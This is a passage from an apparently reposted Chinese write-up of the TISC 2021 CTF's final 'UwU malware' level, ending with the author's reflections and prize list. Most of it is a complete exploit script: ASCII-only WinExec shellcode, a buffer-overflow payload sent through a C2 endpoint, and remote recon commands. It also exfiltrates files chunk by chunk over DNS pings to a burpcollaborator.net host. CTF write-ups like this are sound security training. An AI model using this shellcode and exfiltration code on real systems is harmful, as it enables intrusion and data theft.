    send_command("certutil -encodehex -f {} {} 0x40000001".format(filename, base64_file))

    # get base64 file length
    get_file_length(base64_file)
    file_length = int(input("[*] Enter received base64 file length: "))

    # replace non-DNS compliant chars
    send_command("powershell \"(Get-Content {}).replace([char]43, '-') | Set-Content {}\"".format(base64_file, base64_file))
    send_command("powershell \"(Get-Content {}).replace('/', '.') | Set-Content {}\"".format(base64_file, base64_file))
    send_command("powershell \"(Get-Content {}).replace('=', '') | Set-Content {}\"".format(base64_file, base64_file))


    offset = 0
    while offset < file_length:
        print("[+] Exfiltrating offset {} in file {}".format(offset, filename))
        # Add offset at front and back to prevent .. error and also to ensure that all blocks are received
        send_command("powershell \"Add-Content {} {} -NoNewLine\"".format(WORKING_FILE, offset))
        if (offset + block_size) > file_length:
            send_command("powershell \"Add-Content {} $(Get-Content {}).substring({},{}) -NoNewLine\"".format(WORKING_FILE, base64_file, offset, file_length - offset - 1))
        else:
            send_command("powershell \"Add-Content {} $(Get-Content {}).substring({},{}) -NoNewLine\"".format(WORKING_FILE, base64_file, offset, block_size))
        send_command("powershell \"Add-Content {} {} -NoNewLine\"".format(WORKING_FILE, offset))
        offset += block_size

        exfil_working_file()

经过漫长的等待,我得到了1_run_uwu1.bat.

@echo off
echo ^1>uwu_cmds.txt
echo %c2ip%>>uwu_cmds.txt
echo %c2port%>>uwu_cmds.txt
echo ^3>>uwu_cmds.txt

:loop
type uwu_cmds.txt | C:\Users\Administrator\AppData\LocalLow\cmd.exe /c final_uwu_with_flag.exe
taskkill /im werfault.exe /f
goto loop

伟大的!我可以尝试 exfiltrating final_uwu_with_flag.exe,但我的get_file_length函数告诉我,base64 编码的final_uwu_with_flag.exe长度为 989868 字节,这需要几天时间才能进行。相反,它的内容1_run_uwu1.bat给了我一个想法——为什么不通过管道输入来final_uwu_with_flag.exe执行“Display Killswitch”选项,将输出写入文件,然后将其导出?通过搜索TISC{flag标记的输出,我可以节省更多字节。

def exfil_final_uwu():
    delete_file("c")
    delete_file("x")
    delete_file("y")
    send_command("cmd /c \"echo ^4 > c\"")
    send_command("cmd /c \"echo ^5 >> c\"")
    send_command("cmd /c \"type c | cmd /c final_uwu_with_flag.exe > x\"")
    sleep(3)        # more time to play UwU sound
    send_command("powershell \"Select-String -Path x -Encoding ascii -Pattern TISC|Out-File y\"")       # save more time
    exfil_file("y")

事不宜迟,我开始了渗透。随着时间的流逝,base64 字符串慢慢出现。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

进行到一半时,我将完成一半的 base64 字符串放入解码器中,结果就出来了。我终于走到了这个疯狂的奥德赛的尽头。谢天谢地,没有奖金级别,所以我把我的脚本发出来

##!/usr/bin/python3
import requests
import keystone as ks
from struct import pack
from time import sleep
## import uuid

def to_hex(s):
    retval = list()
    for char in s:
        retval.append(hex(ord(char)).replace("0x", ""))
    return "".join(retval)


def push_string(input_string):
    rev_hex_payload = str(to_hex(input_string))
    rev_hex_payload_len = len(rev_hex_payload)

    instructions = []
    first_instructions = []
    null_terminated = False
    for i in range(rev_hex_payload_len, 0, -1):
        # add every 4 byte (8 chars) to one push statement
        if ((i != 0) and ((i % 8) == 0)):
            target_bytes = rev_hex_payload[i-8:i]
            instructions.append(f"push dword 0x{target_bytes[6:8] + target_bytes[4:6] + target_bytes[2:4] + target_bytes[0:2]};")
        # handle the left ofer instructions
        elif ((0 == i-1) and ((i % 8) != 0) and (rev_hex_payload_len % 8) != 0):
            if (rev_hex_payload_len % 8 == 2):
                first_instructions.append(f"mov al, 0x{rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):]};")
                first_instructions.append("push eax;")
            elif (rev_hex_payload_len % 8 == 4):
                target_bytes = rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):]
                first_instructions.append(f"mov ax, 0x{target_bytes[2:4] + target_bytes[0:2]};")
                first_instructions.append("push eax;")
            else:
                target_bytes = rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):]
                first_instructions.append(f"mov al, 0x{target_bytes[4:6]};")
                first_instructions.append("push eax;")
                first_instructions.append(f"mov ax, 0x{target_bytes[2:4] + target_bytes[0:2]};")
                first_instructions.append("push ax;")
            null_terminated = True
            
    instructions = first_instructions + instructions
    asm_instructions = "".join(instructions)
    return asm_instructions


def ascii_shellcode(command):
    if len(command) > 76:
        print("[-] Command is too long!")
        exit(1)
    padded_command = command + " " * (76 - len(command)) # amount of padding available
    asm = [
        # at start, eax, esi, edi are nulled
        "   start:",
        "       pop     edx;",
        "       pop     edx;",                                  # Pointer to shellcode in edx
        "       xor     al, 0x7f;",                             # inc eax to 0x80 which xors out the ones that are out of reach
        "       inc     eax;",
        "       xor     dword ptr [edx+0x6e], eax;",            # correct ff d7 call   edi
        "       xor     dword ptr [edx+0x6f], eax;",            # correct ff d7 call   edi
        "       push    0x7f;",                                 # dont need ebx, use eax
        "       pop     ebx;",
        "       xor     dword ptr [edx+ebx+0x24], eax;",        # correct ad lods eax,dword ptr ds:[esi]
        "       xor     dword ptr [edx+ebx+0x29], eax;",        # correct 75 ed jne    0x68
        "       push    0x7f;",
        "       add     ebx, dword ptr [esp];",
        "       xor     dword ptr [edx+ebx+0x27], eax;",        # correct ff d7 call   edi 
        "       xor     dword ptr [edx+ebx+0x28], eax;",        # correct ff d7 call   edi
        "       xor     dword ptr [edx+ebx+0x7f], eax;",        # correct ff d7 call   edi
        "       xor     dword ptr [edx+ebx+0x7f], eax;",        # correct ff d7 call   edi
        "       push    0x53736046;",                           # 60 should xor with 80 to get e0
        "       pop     ebx;",                                  # IAT address pointer to GetModuleHandle in ebx
        "       push 0x01014001;",
        "       add ebx, dword ptr [esp];",
        "       add ebx, dword ptr [esp];",
        "       push    0x01010101;",                           # use eax to xor for null bytes in wide string and invalid chars in GetModuleHandle address pointer
        "       pop     eax;",                                  # use eax to xor for null bytes in wide string
        "       xor     edi, dword ptr [ebx];",                 # dereference IAT, get GetModuleHandle in edi       
        "       push    esi;",                                  # nulls for end of wide string
        "       push    0x01330132;",                           # push widestring "kernel32"
        "       xor     dword ptr [esp], eax;",
        "       push    0x016d0164;",                   
        "       xor     dword ptr [esp], eax;",
        "       push    0x016f0173;",                   
        "       xor     dword ptr [esp], eax;",
        "       push    0x0164016a;",                   
        "       xor     dword ptr [esp], eax;",
        "       push    esp;",
        "       call    edi;",                                  # call GetModuleHandleW(&"kernel32")
        "       push    eax;",                                  # Kernel32 base address in eax
        "       pop     edi;",
        "       push    esi;",                                  # null bytes
        "       pop     ebx;",
        "       xor     ebx, dword ptr [edi + 0x3C];",          # ebx = [kernel32 + 0x3C] = offset(PE header)
        "       push    ebx;",                                  # null out bytes on top of stack
        "       xor     ebx, dword ptr [esp];",
        "       pop     eax;",
        "       xor     ebx, dword ptr [edi + eax + 0x78];",    # ebx = [PE32 optional header + offset(PE32 export table offset)] = offset(export table)
        "       xor     esi, dword ptr [edi + ebx + 0x20];",    # esi = [kernel32 + offset(export table) + 0x20] = offset(names table)
        "       push    edi;",
        "       add     esi, dword ptr [esp];",                 # esi = kernel32 + offset(names table) = &(names table)
        "       xor     dword ptr [esp], edi;",                 # null out value on stack
        "       pop     edx             ;",         
        "       xor     edx, [edi + ebx + 0x24];",              # edx = [kernel32 + offset(export table) + 0x24] = offset(ordinals table)
        push_string("WinE"),
        "       pop ecx;",                                      # ecx = 'WinE'
        "   find_winexec_x86:"
        "       push    ebp;",
        "       xor     dword ptr [esp], ebp;",                 # null out bytes on top of stack
        "       and     ebp, dword ptr [esp];",                 # nulls out ebp for xor operation
        "       xor     BP, WORD ptr [edi + edx];",             # ebp = [kernel32 + offset(ordinals table) + offset] = function ordinal
        "       inc     edx;",
        "       inc     edx;",                                  # edx = offset += 2
        "       lodsd;",                                        # eax = &(names table[function number]) = offset(function name)
        "       cmp     [edi + eax], ecx;"                      # *(dword*)(function name) == "WinE" ?
        "       jne     find_winexec_x86;",
        "       pop     esi;",
        "       xor     esi, dword ptr [edi + ebx + 0x1C];"     # esi = [kernel32 + offset(export table) + 0x1C] = offset(address table)] = offset(address table)
        "       push    edi;",
        "       add     esi, dword ptr [esp];",                 # esi = kernel32 + offset(address table) = &(address table)
        "       push    ebp;",
        "       add     ebp, dword ptr [esp];",
        "       add     edi, [esi + ebp * 2];",                 # edi = kernel32 + [&(address table)[WinExec ordinal]] = offset(WinExec) = &(WinExec)
        "       push    0x31;",                                 # null out eax
        "       pop     eax;",
        "       xor     al, 0x31;",
        "       push    eax;",                                  # nulls
        push_string(padded_command),                            # set up args for WinExec
        "       push    esp;",
        "       pop     ebx;",
        "       inc     eax;",
        "       push    eax;",
        "       push    ebx;",
        "       inc     ecx;",                                  # NOP
        "       inc     ecx;",                                  # NOP
        "       call    edi;",                                  # WinExec(&("calc"), 1);
    ]
    return "\n".join(asm)

## o2r7vffpq263v6rrjsyxq4xp7gd61v.burpcollaborator.net
COLLABORATOR_INSTANCE = "o2r7vffpq263v6rrjsyxq4xp7gd61v"
FILE_NAME = "1_run_uwu1.bat"
BANNED_CHARS = ['%', '&', '+']
C2_URL = 'http://<IP ADDRESS>:18080/send.php'
TARGET_UWUID = '715cf1a6-51de-4a55-be11-c0ffeec0ffee'
WORKING_FILE = 'l'


def send_command(command):
    for banned_char in BANNED_CHARS:
        if banned_char in command:
            print("Banned chars detected in command!")
            exit(1)

    print("[+] Sending command: {}".format(command))

    shellcode = ascii_shellcode(command)
    eng = ks.Ks(ks.KS_ARCH_X86, ks.KS_MODE_32)
    encoding, _ = eng.asm(shellcode)
    payload_string = ""
    payload = b'UwU' 
    payload += b'A' * 29 
    payload += pack("<L", (0x41410679)) + pack("<L", (0x55756e78)) 
    payload += bytes(encoding) 
    payload += b"A" * (328 - len(payload))
    payload = payload.replace(b'\xff\xd7', b'\x7f\x57').replace(b'\x8b', b'\x0b').replace(b'\xfe', b'\x7e').replace(b'\xb7', b'\x37').replace(b'\xad', b'\x2d').replace(b'\xee', b'\x6e').replace(b'\xae', b'\x2e').replace(b'\xed', b'\x6d')
    for enc in payload:
        payload_string += "%{0:02x}".format(enc)

    payload_string = payload_string.replace("%ff%d7", "%7f%57").replace("%8b","%0b").replace("%fe","%7e").replace("%b7","%37").replace("%ad","%2d").replace("%ee","%6e").replace("%ae","%2e").replace("%ed", "%6d")

    headers = {
        'User-Agent': 'UwUserAgent/1.0'
    }

    requests.post(C2_URL, headers=headers, data={'action': 'send', 'a': '715cf1a6-51de-4a55-be11-c0ffeec0ffee', 'b': payload})
    sleep(5)

def exfil_working_file():
    send_command("powershell Add-Content {} .{}. -NoNewLine".format(WORKING_FILE, COLLABORATOR_INSTANCE))
    send_command("powershell Add-Content {} burpcollaborator.net -NoNewLine".format(WORKING_FILE))
    send_command("powershell ping $(type {})".format(WORKING_FILE))
    delete_file(WORKING_FILE)

def delete_file(filename):
    send_command('powershell del {}'.format(filename))
    
def get_file_length(filename):
    send_command("powershell \"Add-Content {} $(Get-Content {}).length -NoNewLine\"".format(WORKING_FILE, filename))
    exfil_working_file()

def exfil_file(filename):
    base64_file = "e"
    block_size = 50

    # delete base64 file
    delete_file(base64_file)

    # create base64 file
    send_command("certutil -encodehex -f {} {} 0x40000001".format(filename, base64_file))

    # get base64 file length
    get_file_length(base64_file)
    file_length = int(input("[*] Enter received base64 file length: "))

    # replace non-DNS compliant chars
    send_command("powershell \"(Get-Content {}).replace([char]43, '-') | Set-Content {}\"".format(base64_file, base64_file))
    send_command("powershell \"(Get-Content {}).replace('/', '.') | Set-Content {}\"".format(base64_file, base64_file))
    send_command("powershell \"(Get-Content {}).replace('=', '') | Set-Content {}\"".format(base64_file, base64_file))

    offset = 0
    while offset < file_length:
        print("[+] Exfiltrating offset {} in file {}".format(offset, filename))
        # Add offset at front and back to prevent .. error and also to ensure that all blocks are received
        send_command("powershell \"Add-Content {} {} -NoNewLine\"".format(WORKING_FILE, offset))
        if (offset + block_size) > file_length:
            send_command("powershell \"Add-Content {} $(Get-Content {}).substring({},{}) -NoNewLine\"".format(WORKING_FILE, base64_file, offset, file_length - offset - 1))
        else:
            send_command("powershell \"Add-Content {} $(Get-Content {}).substring({},{}) -NoNewLine\"".format(WORKING_FILE, base64_file, offset, block_size))
        send_command("powershell \"Add-Content {} {} -NoNewLine\"".format(WORKING_FILE, offset))
        offset += block_size

        exfil_working_file()

## if any blocks were dropped previously
def exfil_lost_block(filename, offset, length):
    print("[+] Exfiltrating offset {} in file {}".format(offset, filename))
    send_command("powershell \"Add-Content {} {} -NoNewLine\"".format(WORKING_FILE, offset))
    send_command("powershell \"Add-Content {} $(Get-Content {}).substring({},{}) -NoNewLine\"".format(WORKING_FILE, filename, offset, length))
    send_command("powershell \"Add-Content {} {} -NoNewLine\"".format(WORKING_FILE, offset))
    exfil_working_file()

## MicrosoftWindowsVersion10.0.14393
def get_version():
    version_file = 'v'
    send_command("cmd /c \"ver > {}\"".format(version_file))
    send_command("powershell \"(Get-Content {}).replace(' ', '') | Set-Content {}\"".format(version_file, version_file))
    send_command("powershell \"(Get-Content {}).replace('[', '') | Set-Content {}\"".format(version_file, version_file))
    send_command("powershell \"(Get-Content {}).replace(']', '') | Set-Content {}\"".format(version_file, version_file))
    send_command("powershell \"(Get-Content {})[1] | Set-Content {} -NoNewLine\"".format(version_file, version_file))
    send_command("powershell \"Add-Content {} $(Get-Content {}) -NoNewLine\"".format(WORKING_FILE, version_file))
    exfil_working_file()

## ec2amaz-9ri345e\administrator
def get_user():
    user_file = 'v'
    send_command("cmd /c \"whoami > {}\"".format(user_file))
    send_command("powershell \"(Get-Content {}).replace('\\', '') | Set-Content {} -NoNewLine\"".format(user_file, user_file))
    send_command("powershell \"Add-Content {} $(Get-Content {}) -NoNewLine\"".format(WORKING_FILE, user_file))
    exfil_working_file()

## C:\Users\Administrator\AppData\LocalLow
def get_pwd():
    send_command("cmd /c \"cd > {}\"".format(WORKING_FILE))
    send_command("powershell \"(Get-Content {}).replace(':', '-') | Set-Content {} -NoNewLine\"".format(WORKING_FILE, WORKING_FILE))
    send_command("powershell \"(Get-Content {}).replace('\\', '-') | Set-Content {} -NoNewLine\"".format(WORKING_FILE, WORKING_FILE))
    send_command("powershell \"(Get-Content {}).replace(' ', '.') | Set-Content {} -NoNewLine\"".format(WORKING_FILE, WORKING_FILE))
    exfil_working_file()

## Microsoft
## Temp
## 1_run_uwu1.bat
def get_file_name(index):
    send_command("powershell \"Add-Content {} $(ls)[{}].Name -NoNewLine\"".format(WORKING_FILE, index))
    send_command("powershell \"(Get-Content {}).replace('_', '-') | Set-Content {} -NoNewLine\"".format(WORKING_FILE, WORKING_FILE))
    exfil_working_file()
    

def exfil_final_uwu():
    delete_file("c")
    delete_file("x")
    delete_file("y")
    send_command("cmd /c \"echo ^4 > c\"")
    send_command("cmd /c \"echo ^5 >> c\"")
    send_command("cmd /c \"type c | cmd /c final_uwu_with_flag.exe > x\"")
    sleep(3)        # more time to play UwU sound
    send_command("powershell \"Select-String -Path x -Pattern TISC|Out-File y\"")       # save more time
    exfil_file("y")

if __name__ == "__main__":
    delete_file(WORKING_FILE)
    # get_user()
    # get_pwd()
    # get_file_name(2)
    # exfil_file('1_run_uwu1.bat')
    # exfil_lost_block('e', 120, 30)
    # exfil_lost_block('e', 330, 13)
    # exfil_lost_block('y', 25, 25)
    exfil_final_uwu()   

有趣的是,结果证明这是一个意外的解决方案,因为我打算完全依靠 shellcode 通过UwU.exe消息传递函数传输flag。我之前考虑过这条路线,但认为设置调用堆栈太麻烦了。幸运的是,生活找到了办法。

TISC{UwU_m@lwArez_4_uWuuUU!}

结论

经过两周的紧张比拼,我完成了所有 10 个级别,并为慈善机构申请了 25,000 美元,因为另一位参与者完成了 8 个级别。 CSIT代表我将奖金捐赠给公益金。我得到了很多利用广泛目标的练习,并制作了我自己的纯 ASCII 的 Windows WinExec shellcode,可以在未来的漏洞利用中重复使用。这是一次激烈的试验,让我更有信心处理新的 CTF 领域,例如隐写术、取证和 pwn。后来的许多挑战都有曲折,迫使我在现有文章之外“更加努力”并进行自己的原创研究。如果我可以为挑战颁发奖品,它们将是:

  1. 最核心: UwU 的恶意软件
  2. 最佳故事情节: 1865 文字冒险
  3. 最大的头痛:变得笨拙
  4. 最具活力:秘密
  5. 最大的干草堆: Knock Knock,谁在那里
  6. 最小的针:极品飞车
  7. 最小有效载荷:魔术师的巢穴
  8. 最有可能让我猜的:灰堆中的针
  9. 最令人愤怒: Dee Na Saw 作为一种需要
  10. 大多数零件:表面文章

感谢 TISC 组织团队的巨大挑战!

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注